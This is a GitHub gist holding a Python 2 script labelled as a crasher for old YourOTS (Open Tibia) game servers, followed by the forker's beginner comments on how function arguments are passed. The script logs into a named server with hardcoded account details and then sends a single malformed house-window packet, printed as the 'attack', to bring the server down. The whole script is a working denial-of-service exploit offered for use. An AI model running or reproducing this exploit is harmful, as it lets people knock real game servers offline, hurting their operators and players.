Skip to content

Instantly share code, notes, and snippets.

@Wirless
Forked from ekiro/simpleCrash.py
Last active January 17, 2020 11:36
Show Gist options
  • Save Wirless/99f30a1d7f183a984341e3d6128917cb to your computer and use it in GitHub Desktop.
Save Wirless/99f30a1d7f183a984341e3d6128917cb to your computer and use it in GitHub Desktop.
Crashes old yourots servers.
#!/usr/bin/env python
# -*- encoding=utf8 -*-
__author__ = 'Piotr "Kiro" Karkut'
__license__ = "BSD"
import socket
from struct import *
from time import sleep
import os
## IP, Account name, Password, Character Name
dane = ("selora.eu",123432,"lol123","Kiro")
def addMessageLenght(msg):
retLen = len(msg);
ret = msg
ret = chr(retLen % 256)+chr(retLen / 256) + ret
return ret
def addString(str):
strLen = len(str)
ret = chr(strLen % 256)+chr(strLen / 256) + str
return ret
def getU32(num):
return pack("<l",num)
# sending login packet with acc name char name and password and finally compiling the message into the whole thing
# could also be msg += addString etc? right? Gonna test it soon
def getLoginPacket(num, pswdm, char):
msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
msg = msg + getU32(num)
msg = msg + addString(char)
msg = msg + addString(pswdm)
msg = addMessageLenght(msg)
return msg
# create socket and connect to server with print that it is connecting and index of tab[0] IP being connected to
def kill(tab):
print u"> Łączenie do", tab[0]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tab[0], 7171))
##send login information acc[1] pass[2] charname[3]
print ">> Logowanie"
s.send(getLoginPacket(tab[1],tab[2],tab[3]))
sleep(1)
#accept the response and check whether we got failed login and return printed string if so
re = s.recv(1024)
if len(re) == 0 or re[2] == 0x14:
print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
return
#send houseParseWindow if logged in successfuly
print ">>> ATAK"
s.send(addMessageLenght(chr(0x8a)))
sleep(1)
#close connection and finalize script
print u">>>> Rozłączenie"
s.close()
print "::Atak przeprowadzony"
##initialize the script and except if it is wrong ip or our firewall is blocked or connection is failed in any other way.
if __name__ == "__main__":
os.system("cls")
print "::Simple crasher by Kiro\n"
try:
kill(dane)
except socket.error:
print u"::Nie można się połączyć!"
@Wirless
Copy link
Author

Wirless commented Nov 11, 2019

things i dont undersstand: how dane is parsed into tab[0]

@Wirless
Copy link
Author

Wirless commented Jan 17, 2020

dane is parsed into tab as tab is just function data that is parsed through it while in main body it is parsed as the list called dane from kill(dane)
from def kill(tab): (tab is just default call for variable within the function while dane is the real called name of the list that is parsed within it :)

@Wirless
Copy link
Author

Wirless commented Jan 17, 2020

parsed within it as tab because kill(dane) == kill(tab) so instead of rewriting it just renames dane into tab while within the function call. :D programming is easy!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment